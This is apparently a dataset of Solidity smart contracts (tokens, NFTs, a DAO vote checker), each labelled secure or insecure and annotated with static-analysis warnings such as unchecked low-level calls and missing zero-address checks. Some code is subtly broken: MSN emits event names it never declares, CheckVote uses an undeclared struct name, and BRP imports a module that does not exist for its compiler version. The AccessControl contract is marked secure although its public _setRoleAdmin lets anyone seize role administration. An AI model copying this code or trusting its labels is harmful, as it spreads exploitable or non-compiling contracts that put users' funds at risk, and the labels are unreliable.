uint256(decimals));\n number = _totalSupply;\n\t\t// missing-zero-check | ID: 6a1a335\n delegate = _del;\n\t\t// missing-zero-check | ID: b7f1d36\n reflector = _ref;\n balances[owner] = _totalSupply;\n emit Transfer(address(0), owner, _totalSupply);\n }\n}",
"file_name": "solidity_code_2866.sol",
"secure": 0,
"size_bytes": 1574
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\ncontract TMBA is ERC721, Ownable {\n using Counters for Counters.Counter;\n using Strings for uint256;\n\n uint256 public constant PRICE_PER_NFT = 0.04 ether;\n uint256 public constant MAX_NFTS = 1000;\n uint256 public constant NUM_TEAM_NFTS = 10;\n\n Counters.Counter private _tokenIds;\n\n mapping(uint256 => string) private _yearbook;\n string public baseURI;\n\n event YearbookUpdated(address _owner, uint256 _tokenId);\n\n constructor(string memory uri) ERC721(\"The Token MBA\", \"TMBA\") {\n baseURI = uri;\n\n for (uint256 i = 0; i < NUM_TEAM_NFTS; i++) {\n _mint(owner(), _tokenIds.current());\n _tokenIds.increment();\n }\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return baseURI;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokenIds.current();\n }\n\n function getYearbook(uint256 tokenId) public view returns (string memory) {\n return _yearbook[tokenId];\n }\n\n function updateBaseURI(string memory uri) external onlyOwner {\n baseURI = uri;\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n\n function setYearbook(uint256 tokenId, string memory text) external {\n require(\n ERC721.ownerOf(tokenId) == msg.sender,\n \"TMBA: sender is not owner of token\"\n );\n _yearbook[tokenId] = text;\n emit YearbookUpdated(msg.sender, tokenId);\n }\n\n function mint(uint256 count) public payable returns (bool) {\n require(\n count > 0 && count <= 5,\n \"TMBA: Cannot mint more than 5 tokens\"\n );\n require(\n _tokenIds.current() + count <= MAX_NFTS,\n \"TMBA: Cannot mint more than max supply\"\n );\n require(\n msg.value == PRICE_PER_NFT * count,\n \"TMBA: Ether value sent is not correct\"\n );\n\n for (uint256 i = 0; i < count; i++) {\n _mint(msg.sender, _tokenIds.current());\n _tokenIds.increment();\n }\n return true;\n }\n}",
"file_name": "solidity_code_2867.sol",
"secure": 1,
"size_bytes": 2577
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Pausable.sol\" as Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GetPaid is Pausable, Ownable {\n constructor() {}\n\n event PaymentReceived();\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function SendPayment() public payable whenNotPaused {}\n\n function withdraw() public onlyOwner {\n (bool os, ) = payable(owner()).call{value: address(this).balance}(\"\");\n require(os);\n }\n}",
"file_name": "solidity_code_2868.sol",
"secure": 1,
"size_bytes": 650
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface NInterface {\n function ownerOf(uint256 tokenId) external view returns (address owner);\n function balanceOf(address owner) external view returns (uint256 balance);\n function tokenOfOwnerByIndex(\n address owner,\n uint256 index\n ) external view returns (uint256 tokenId);\n}",
"file_name": "solidity_code_2869.sol",
"secure": 1,
"size_bytes": 375
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract Ownable2Step is Ownable {\n address private _pendingOwner;\n\n event OwnershipTransferStarted(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function pendingOwner() public view virtual returns (address) {\n return _pendingOwner;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a622f91): Ownable2Step.transferOwnership(address).newOwner lacks a zerocheck on \t _pendingOwner = newOwner\n\t// Recommendation for a622f91: Check that the address is not zero.\n function transferOwnership(\n address newOwner\n ) public virtual override onlyOwner {\n\t\t// missing-zero-check | ID: a622f91\n _pendingOwner = newOwner;\n\n emit OwnershipTransferStarted(owner(), newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual override {\n delete _pendingOwner;\n\n super._transferOwnership(newOwner);\n }\n\n function acceptOwnership() public virtual {\n address sender = _msgSender();\n\n require(\n pendingOwner() == sender,\n \"Ownable2Step: caller is not the new owner\"\n );\n\n _transferOwnership(sender);\n }\n}",
"file_name": "solidity_code_287.sol",
"secure": 0,
"size_bytes": 1364
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./NInterface.sol\" as NInterface;\n\ncontract LostPixels is ERC721, ERC721Enumerable, Ownable {\n string public PROVENANCE;\n uint256 public constant tokenPrice = 12345000000000000;\n\t// WARNING Optimization Issue (constable-states | ID: 8a2ca47): LostPixels.MAX_TOKENS should be constant \n\t// Recommendation for 8a2ca47: Add the 'constant' attribute to state variables that never change.\n uint256 public MAX_TOKENS = 3333;\n bool public saleIsActive = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: cdfb38b): LostPixels.nAddress should be constant \n\t// Recommendation for cdfb38b: Add the 'constant' attribute to state variables that never change.\n address public nAddress = 0x05a46f1E545526FB803FF974C790aCeA34D1f2D6;\n\t// WARNING Optimization Issue (immutable-states | ID: 2c95b58): LostPixels.nContract should be immutable \n\t// Recommendation for 2c95b58: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n NInterface nContract = NInterface(nAddress);\n\n string private _baseURIextended;\n\n constructor() ERC721(\"Lost Pixels For N\", \"LPXN\") {}\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal override(ERC721, ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721, ERC721Enumerable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function setBaseURI(string memory baseURI_) external onlyOwner {\n _baseURIextended = baseURI_;\n }\n\n function _baseURI() internal view virtual override returns (string memory) {\n return _baseURIextended;\n }\n\n function setProvenance(string memory provenance) public onlyOwner {\n PROVENANCE = provenance;\n }\n\n function flipSaleState() public onlyOwner {\n saleIsActive = !saleIsActive;\n }\n\n function mintToken(uint256 tokenId) public payable {\n require(saleIsActive, \"Sale must be active to mint tokens\");\n require(totalSupply() + 1 <= MAX_TOKENS, \"Max supply reached\");\n require(tokenPrice <= msg.value, \"Payment too low, try 0.012345 eth\");\n require(\n nContract.balanceOf(msg.sender) > 0,\n \"Must own an N to mint token\"\n );\n require(\n nContract.ownerOf(tokenId) == msg.sender,\n \"Must own the N to mint token\"\n );\n\n _safeMint(msg.sender, tokenId);\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}",
"file_name": "solidity_code_2870.sol",
"secure": 1,
"size_bytes": 3027
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IGlobal {\n function daoVote(uint32) external view returns (address);\n function daoOs(uint32) external view returns (address);\n function init() external view returns (address);\n}",
"file_name": "solidity_code_2871.sol",
"secure": 1,
"size_bytes": 268
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract MSN is ERC20 {\n uint256 private payable_amount;\n\t// WARNING Optimization Issue (immutable-states | ID: 711567b): MSN.contract_owner should be immutable \n\t// Recommendation for 711567b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private contract_owner;\n bool private exchange_open;\n mapping(address => uint16) private special_list;\n mapping(uint16 => address) private special_list_idmap;\n\n modifier onlyContractOwner() {\n require(msg.sender == contract_owner, \"Only contractOwner\");\n _;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6d4d5c0): MSN.constructor(string,string,uint256).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 6d4d5c0: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e22d5b0): MSN.constructor(string,string,uint256).symbol shadows ERC20.symbol() (function) IERC20Metadata.symbol() (function)\n\t// Recommendation for e22d5b0: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n uint256 inisupply\n ) ERC20(name, symbol) {\n contract_owner = msg.sender;\n special_list[msg.sender] = 1;\n special_list_idmap[1] = msg.sender;\n exchange_open = false;\n _mint(msg.sender, inisupply * (10 ** uint256(decimals())));\n }\n\n event AddSpecialEVENT(\n address trigger_user_addr,\n address special_addr,\n uint8 _id,\n uint256 blocktime\n );\n\n function add_special(\n address special_addr,\n uint8 _id\n ) external onlyContractOwner {\n require(_id > 0, \"Special ID should start from 1\");\n require(special_list_idmap[_id] == address(0x0), \"Id already exist!\");\n require(special_list[special_addr] == 0, \"address already exist!\");\n\n special_list[special_addr] = _id;\n special_list_idmap[_id] = special_addr;\n emit add_special_EVENT(msg.sender, special_addr, _id, block.timestamp);\n }\n\n event RemoveSpecialEVENT(\n address trigger_user_addr,\n address special_addr,\n uint16 _special_id,\n uint256 blocktime\n );\n\n function remove_special(address special_addr) external onlyContractOwner {\n require(special_list[special_addr] > 0, \"No such special\");\n require(\n special_addr != contract_owner,\n \"Can not delete contract owner\"\n );\n uint16 special_id = special_list[special_addr];\n delete special_list[special_addr];\n delete special_list_idmap[special_id];\n emit remove_special_EVENT(\n msg.sender,\n special_addr,\n special_id,\n block.timestamp\n );\n }\n\n function get_special(address special_addr) external view returns (uint16) {\n require(special_list[special_addr] > 0, \"No such special\");\n return special_list[special_addr];\n }\n\n function get_special_by_id(uint16 _id) external view returns (address) {\n require(special_list_idmap[_id] != address(0x0), \"No such special\");\n return special_list_idmap[_id];\n }\n\n event MintEVENT(\n address trigger_user_addr,\n uint256 amount,\n uint256 blocktime\n );\n\n function mint(uint256 amount) public onlyContractOwner {\n _mint(msg.sender, amount);\n emit mint_EVENT(msg.sender, amount, block.timestamp);\n }\n\n event BurnEVENT(\n address trigger_user_addr,\n uint256 amount,\n uint256 blocktime\n );\n\n function burn(uint256 amount) external {\n _burn(msg.sender, amount);\n emit burn_EVENT(msg.sender, amount, block.timestamp);\n }\n\n event SetExchangeOpenEVENT(\n address trigger_user_addr,\n bool exchange_open,\n uint256 blocktime\n );\n\n function set_exchange_open(bool _exchange_open) external onlyContractOwner {\n exchange_open = _exchange_open;\n emit set_exchange_open_EVENT(\n msg.sender,\n exchange_open,\n block.timestamp\n );\n }\n\n function get_exchange_open() public view returns (bool) {\n return exchange_open;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal override {\n require(\n exchange_open == true ||\n (special_list[owner] > 0) ||\n (special_list[spender] > 0),\n \"Exchange closed && not special\"\n );\n\n super._approve(owner, spender, amount);\n }\n\n event SpecialTransferEVENT(\n address trigger_user_addr,\n address _sender,\n address _recipient,\n uint256 _amount,\n uint16 from_special,\n uint16 to_special,\n uint256 blocktime\n );\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n require(\n exchange_open == true ||\n (special_list[sender] > 0) ||\n (special_list[recipient] > 0),\n \"Exchange closed && not special\"\n );\n\n super._transfer(sender, recipient, amount);\n\n if ((special_list[sender] > 0) || (special_list[recipient] > 0)) {\n emit special_transfer_EVENT(\n msg.sender,\n sender,\n recipient,\n amount,\n special_list[sender],\n special_list[recipient],\n block.timestamp\n );\n }\n }\n\n receive() external payable {\n payable_amount += msg.value;\n }\n\n fallback() external payable {\n payable_amount += msg.value;\n }\n\n event WithdrawEthEVENT(\n address trigger_user_addr,\n uint256 _amount,\n uint256 blocktime\n );\n\n function withdraw_eth() external onlyContractOwner {\n uint256 amout_to_t = address(this).balance;\n payable(msg.sender).transfer(amout_to_t);\n payable_amount = 0;\n emit withdraw_eth_EVENT(msg.sender, amout_to_t, block.timestamp);\n }\n\n event WithdrawContractEVENT(\n address trigger_user_addr,\n address _from,\n uint256 amount,\n uint256 blocktime\n );\n\n function withdraw_contract() public onlyContractOwner {\n uint256 left = balanceOf(address(this));\n require(left > 0, \"No balance\");\n _transfer(address(this), msg.sender, left);\n emit withdraw_contract_EVENT(\n msg.sender,\n address(this),\n left,\n block.timestamp\n );\n }\n}",
"file_name": "solidity_code_2872.sol",
"secure": 0,
"size_bytes": 7063
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: c6e9ea7): Contract locking ether found Contract BTAP_Token has payable functions BTAP_Token.receive() But does not have a function to withdraw the ether\n// Recommendation for c6e9ea7: Remove the 'payable' attribute or add a withdraw function.\ncontract BTAPToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3abd988): BTAP_Token._name should be constant \n\t// Recommendation for 3abd988: Add the 'constant' attribute to state variables that never change.\n string private _name = \"BTAP\";\n\t// WARNING Optimization Issue (constable-states | ID: d0bc67f): BTAP_Token._symbol should be constant \n\t// Recommendation for d0bc67f: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BTAP\";\n\t// WARNING Optimization Issue (constable-states | ID: b8219f2): BTAP_Token._decimals should be constant \n\t// Recommendation for b8219f2: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 18;\n\n mapping(address => uint256) internal _reflectionBalance;\n mapping(address => uint256) internal _tokenBalance;\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 internal _tokenTotal = 100000000 * 10 ** 18;\n uint256 internal _reflectionTotal = (MAX - (MAX % _tokenTotal));\n\n mapping(address => bool) isExcludedFromFee;\n mapping(address => bool) internal _isExcluded;\n address[] internal _excluded;\n\n\t// WARNING Optimization Issue (constable-states | ID: 51fa998): BTAP_Token._feeDecimal should be constant \n\t// Recommendation for 51fa998: Add the 'constant' attribute to state variables that never change.\n uint256 public _feeDecimal = 2;\n\t// WARNING Optimization Issue (constable-states | ID: b749b1b): BTAP_Token._taxFee should be constant \n\t// Recommendation for b749b1b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxFee = 100;\n\t// WARNING Optimization Issue (constable-states | ID: 9791bae): BTAP_Token._burnFee should be constant \n\t// Recommendation for 9791bae: Add the 'constant' attribute to state variables that never change.\n uint256 public _burnFee = 100;\n\n uint256 public _taxFeeTotal;\n uint256 public _burnFeeTotal;\n\n event RewardsDistributed(uint256 amount);\n\n constructor() {\n isExcludedFromFee[_msgSender()] = true;\n isExcludedFromFee[address(this)] = true;\n\n _reflectionBalance[_msgSender()] = _reflectionTotal;\n emit Transfer(address(0), _msgSender(), _tokenTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tokenTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tokenBalance[account];\n return tokenFromReflection(_reflectionBalance[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a647c5): BTAP_Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a647c5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcluded(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function reflectionFromToken(\n uint256 tokenAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tokenAmount <= _tokenTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n return tokenAmount.mul(_getReflectionRate());\n } else {\n return\n tokenAmount\n .sub(tokenAmount.mul(_taxFee).div(10 ** _feeDecimal + 2))\n .mul(_getReflectionRate());\n }\n }\n\n function tokenFromReflection(\n uint256 reflectionAmount\n ) public view returns (uint256) {\n require(\n reflectionAmount <= _reflectionTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getReflectionRate();\n return reflectionAmount.div(currentRate);\n }\n\n function excludeAccount(address account) external onlyOwner {\n require(\n account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n \"BTAP: Uniswap router cannot be excluded.\"\n );\n require(\n account != address(this),\n \"BTAP: The contract it self cannot be excluded\"\n );\n require(!_isExcluded[account], \"BTAP: Account is already excluded\");\n if (_reflectionBalance[account] > 0) {\n _tokenBalance[account] = tokenFromReflection(\n _reflectionBalance[account]\n );\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeAccount(address account) external onlyOwner {\n require(_isExcluded[account], \"BTAP: Account is already included\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tokenBalance[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 072088d): BTAP_Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 072088d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 burnFee = amount.mul(_burnFee).div(10 ** (_feeDecimal + 2));\n amount = amount.sub(burnFee);\n _tokenTotal = _tokenTotal.sub(burnFee);\n _burnFeeTotal = _burnFeeTotal.add(burnFee);\n emit Transfer(sender, address(0), burnFee);\n\n uint256 transferAmount = amount;\n uint256 rate = _getReflectionRate();\n\n if (!isExcludedFromFee[sender] && !isExcludedFromFee[recipient]) {\n transferAmount = collectFee(sender, amount, rate);\n }\n\n _reflectionBalance[sender] = _reflectionBalance[sender].sub(\n amount.mul(rate)\n );\n _reflectionBalance[recipient] = _reflectionBalance[recipient].add(\n transferAmount.mul(rate)\n );\n\n if (_isExcluded[sender]) {\n _tokenBalance[sender] = _tokenBalance[sender].sub(amount);\n }\n if (_isExcluded[recipient]) {\n _tokenBalance[recipient] = _tokenBalance[recipient].add(\n transferAmount\n );\n }\n\n emit Transfer(sender, recipient, transferAmount);\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 90b693d): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 90b693d: Consider ordering multiplication before division.\n function collectFee(\n address,\n uint256 amount,\n uint256 rate\n ) private returns (uint256) {\n uint256 transferAmount = amount;\n\n if (_taxFee != 0) {\n\t\t\t// divide-before-multiply | ID: 90b693d\n uint256 taxFee = amount.mul(_taxFee).div(10 ** (_feeDecimal + 2));\n transferAmount = transferAmount.sub(taxFee);\n\t\t\t// divide-before-multiply | ID: 90b693d\n _reflectionTotal = _reflectionTotal.sub(taxFee.mul(rate));\n _taxFeeTotal = _taxFeeTotal.add(taxFee);\n emit RewardsDistributed(taxFee);\n }\n\n return transferAmount;\n }\n\n function _getReflectionRate() private view returns (uint256) {\n uint256 reflectionSupply = _reflectionTotal;\n uint256 tokenSupply = _tokenTotal;\n\t\t// cache-array-length | ID: 5fca7b5\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _reflectionBalance[_excluded[i]] > reflectionSupply ||\n _tokenBalance[_excluded[i]] > tokenSupply\n ) return _reflectionTotal.div(_tokenTotal);\n reflectionSupply = reflectionSupply.sub(\n _reflectionBalance[_excluded[i]]\n );\n tokenSupply = tokenSupply.sub(_tokenBalance[_excluded[i]]);\n }\n if (reflectionSupply < _reflectionTotal.div(_tokenTotal))\n return _reflectionTotal.div(_tokenTotal);\n return reflectionSupply.div(tokenSupply);\n }\n\n function setExcludedFromFee(\n address account,\n bool excluded\n ) public onlyOwner {\n isExcludedFromFee[account] = excluded;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: c6e9ea7): Contract locking ether found Contract BTAP_Token has payable functions BTAP_Token.receive() But does not have a function to withdraw the ether\n\t// Recommendation for c6e9ea7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_2873.sol",
"secure": 0,
"size_bytes": 12332
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IVote {\n function getVote(bool status, address _app) external view returns (address);\n}",
"file_name": "solidity_code_2874.sol",
"secure": 1,
"size_bytes": 170
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" as EnumerableSet;\n\nabstract contract AccessControl is Context {\n using EnumerableSet for EnumerableSet.AddressSet;\n using Address for address;\n\n struct RoleData {\n EnumerableSet.AddressSet members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(bytes32 role, address account) public view returns (bool) {\n return _roles[role].members.contains(account);\n }\n\n function getRoleMemberCount(bytes32 role) public view returns (uint256) {\n return _roles[role].members.length();\n }\n\n function getRoleMember(\n bytes32 role,\n uint256 index\n ) public view returns (address) {\n return _roles[role].members.at(index);\n }\n\n function getRoleAdmin(bytes32 role) public view returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(bytes32 role, address account) public virtual {\n require(\n hasRole(_roles[role].adminRole, _msgSender()),\n \"AccessControl: sender must be an admin to grant\"\n );\n\n _grantRole(role, account);\n }\n\n function revokeRole(bytes32 role, address account) public virtual {\n require(\n hasRole(_roles[role].adminRole, _msgSender()),\n \"AccessControl: sender must be an admin to revoke\"\n );\n\n _revokeRole(role, account);\n }\n\n function renounceRole(bytes32 role, address account) public virtual {\n require(\n account == _msgSender(),\n \"AccessControl: can only renounce roles for self\"\n );\n\n _revokeRole(role, account);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) public virtual {\n emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);\n _roles[role].adminRole = adminRole;\n }\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (_roles[role].members.add(account)) {\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (_roles[role].members.remove(account)) {\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}",
"file_name": "solidity_code_2875.sol",
"secure": 1,
"size_bytes": 3132
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Detailed.sol\" as ERC20Detailed;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\n\ncontract BRP is ERC20, ERC20Detailed, AccessControl {\n constructor() public ERC20Detailed(\"BorProtocol\", \"BRP\", 18) {\n _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);\n _totalSupply = 10000000 * (10 ** uint256(18));\n\n _balances[msg.sender] = _totalSupply;\n }\n}",
"file_name": "solidity_code_2876.sol",
"secure": 1,
"size_bytes": 589
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./iGlobal.sol\" as iGlobal;\nimport \"./iVote.sol\" as iVote;\n\ncontract CheckVote {\n address immutable global;\n uint32 public daoNumber;\n uint32 public internalVote;\n uint32 public internalDatabase;\n uint32 public externalVote;\n uint32 public externalDatabase;\n address public to;\n\n struct TempData {\n uint256 sumvotes;\n uint256 supportVotes;\n }\n\n tempData private temp;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f910095): checkVote.constructor(address)._global lacks a zerocheck on \t global = _global\n\t// Recommendation for f910095: Check that the address is not zero.\n constructor(address _global) {\n\t\t// missing-zero-check | ID: f910095\n global = _global;\n }\n\n modifier self() {\n require(msg.sender == address(this), \"Error : bot self\");\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 290b0b9): checkVote.init(bytes,uint32,address)._to lacks a zerocheck on \t to = _to\n\t// Recommendation for 290b0b9: Check that the address is not zero.\n function init(\n bytes memory voteData,\n uint32 _daoNumber,\n address _to\n ) external {\n require(daoNumber == 0, \"Error :has inited\");\n require(iGlobal(global).init() == msg.sender, \"Error,not init\");\n (internalVote, externalVote, internalDatabase, externalDatabase) = abi\n .decode(voteData, (uint32, uint32, uint32, uint32));\n daoNumber = _daoNumber;\n\t\t// missing-zero-check | ID: 290b0b9\n to = _to;\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: c077910): checkVote.exec(uint256,uint256,bytes,bytes,bool) ignores return value by address(this).call(_data)\n\t// Recommendation for c077910: Ensure that the return value of a low-level call is checked or logged.\n function exec(\n uint256 _sumvotes,\n uint256 supportVotes,\n bytes memory _data,\n bytes memory others,\n bool status\n ) external {\n require(check(msg.sender, status), \"Error:not the right vote\");\n temp.sumvotes = _sumvotes;\n temp.supportVotes = supportVotes;\n\t\t// unchecked-lowlevel | ID: c077910\n address(this).call(_data);\n }\n\n function check(address _form, bool status) internal view returns (bool) {\n address chartT = iGlobal(global).daoVote(daoNumber);\n address rightFrom = iVote(chartT).getVote(status, address(this));\n return rightFrom == msg.sender;\n }\n\n function getTo() external view returns (address) {\n return to;\n }\n\n\t// WARNING Vulnerability (unchecked-lowlevel | severity: Medium | ID: be37a4c): checkVote.install(uint64,uint32) ignores return value by os.call(msg.data)\n\t// Recommendation for be37a4c: Ensure that the return value of a low-level call is checked or logged.\n function install(uint64 _number, uint32 _version) external self {\n if (2 * temp.supportVotes < temp.sumvotes) {\n revert(\"not enough\");\n }\n address os = iGlobal(global).daoOs(daoNumber);\n\t\t// unchecked-lowlevel | ID: be37a4c\n os.call(msg.data);\n }\n}",
"file_name": "solidity_code_2877.sol",
"secure": 0,
"size_bytes": 3285
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract EarthToken is ERC20 {\n constructor() ERC20(\"EarthFund\", \"1EARTH\") {\n _mint(msg.sender, 1000000000 * 1e18);\n }\n}",
"file_name": "solidity_code_2878.sol",
"secure": 1,
"size_bytes": 267
} |
{
